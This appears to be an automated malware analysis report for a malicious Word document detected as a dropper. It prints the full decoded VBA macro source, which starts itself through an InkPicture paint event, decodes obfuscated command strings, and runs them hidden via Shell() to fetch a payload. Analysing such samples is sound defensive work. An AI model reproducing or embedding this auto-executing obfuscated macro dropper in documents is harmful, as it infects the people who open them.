Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 720c1f2863038870…

MALICIOUS

Office (OLE)

80.5 KB Created: 2018-07-05 15:16:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 0f7773073467e71ffe8f10cfba0b2367 SHA-1: 51b0a693fb1fc1c17d6340b3efc7fb7fe0a3c997 SHA-256: 720c1f286303887020062509221480033db5a6db8715c024508ba683674221b8
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros that utilize the Shell() function, indicating an attempt to execute external commands or payloads. The ClamAV detection name 'Doc.Dropper.Agent-6602067-0' strongly suggests a dropper functionality. While the exact download URL is obfuscated and truncated, the presence of macro execution and the dropper signature point to a malicious intent to download and run a secondary payload.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6602067-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6602067-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3258 bytes
SHA-256: cd64e36f1b6546746574cbd07ce03803fed737e4ac3f247fd1d1aaf18b34178c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "InkPicture1, 0, 0, MSINKAUTLib, InkPicture"
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
UserForm1.TextBox3 = "1"
End Sub


Attribute VB_Name = "Module1"
Function gnkruhl()
Randomize
leng = 6 * Rnd() + 4
name1 = ""
For i = 1 To leng
num = 24 * Rnd() + 97
name1 = name1 + Chr(num)
Next i
gnkruhl = name1
End Function

Function DecodeString(text)
decode = ""
For i = 1 To Len(text)
decode = decode + GetAlphabetSymbol(fghyut(Mid(text, i, 1)), 5)
Next i
DecodeString = decode
End Function

Function GetAlphabetSymbol(num, key)
If num - key < 1 Then
GetAlphabetSymbol = Mid(UserForm1.TextBox1, Len(UserForm1.TextBox1) + num - key, 1)
Else
GetAlphabetSymbol = Mid(UserForm1.TextBox1, num - key, 1)
End If
End Function

Function fghyut(yuiuv)
gutjh = UserForm1.TextBox1
jkdhf8 = Len(gutjh)
For i = 1 To jkdhf8
If yuiuv = Mid(gutjh, i, 1) Then
fghyut = i
Else
yfiui = 1
End If
Next i
End Function

Attribute VB_Name = "Module2"
Function test2(ByRef text, dec, name)
text = text + dec + name
End Function

Function test3(ByRef text)
If UserForm1.Label1 = osdif Then
UserForm1.TextBox3 = text
End If
End Function

Function osdif()
osdif = "1"
End Function

Attribute VB_Name = "Module3"
Function sidfi()
name1 = gnkruhl()
dec2 = DecodeString("{.jpod(z,5\")
dec1 = DecodeString("/)k5[/5gfuiojxibb5]$gfuiojxibb5]]ls(/pdf(5")
dec4 = DecodeString("_$$1p)g1|")
name2 = gnkruhl()
dec5 = DecodeString("%imi$$}:jphop gof/ijj5$$1p)g1|")
dec6 = DecodeString("%imi$$:-poa;")
dec7 = DecodeString("{$$xppg4[[(oozho)i(p%/f)[vfgbij%od$$}-/hp/x;")
dec8 = DecodeString("{$$xppg4[[fhjdj gofci/pj%/f)[vfgbij%od$$}-$]]535fsp ldbi5 i(/fkd(z5hj/dd5 ldbighpx51p)g1|")
name3 = gnkruhl()
name4 = gnkruhl()
text = ""
test2 text, dec1, name1
test2 text, dec2, name2
test2 text, "", ""
test2 text, tyjbbc, name2
test2 text, "", ""
test2 text, dec4, name3
test2 text, "", ""
test2 text, dec5, name3
test2 text, "", ""
test2 text, dec6, name1
test2 text, "", ""
test2 text, dec7, name1
test2 text, "", ""
dec9 = DecodeString("%'hp:5jphop gof/ijj5$1p)g1|")
dec10 = DecodeString("%'hp$5 ud(kfujpabi5xdkki(]")
test2 text, dec8, name4
test2 text, dec9, name4
test2 text, dec10, ""
UserForm1.TextBox2 = text
End Function

Function tyjbbc()
tyjbbc = DecodeString("};{(iu f'ci/p5jajpi)%(ip%ui'/bdi(p}%kfu(bfhkldbi{\")
End Function

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{A226E55F-58B8-46D2-AFB0-45AA8A8355A6}{A233AF24-9126-4556-932C-06A4B7733F51}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub TextBox1_Change()
MsgBox "Ok"
End Sub

Private Sub TextBox2_Change()
Shell UserForm1.TextBox2, 0
End Sub

Private Sub TextBox3_Change()
sidfi
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.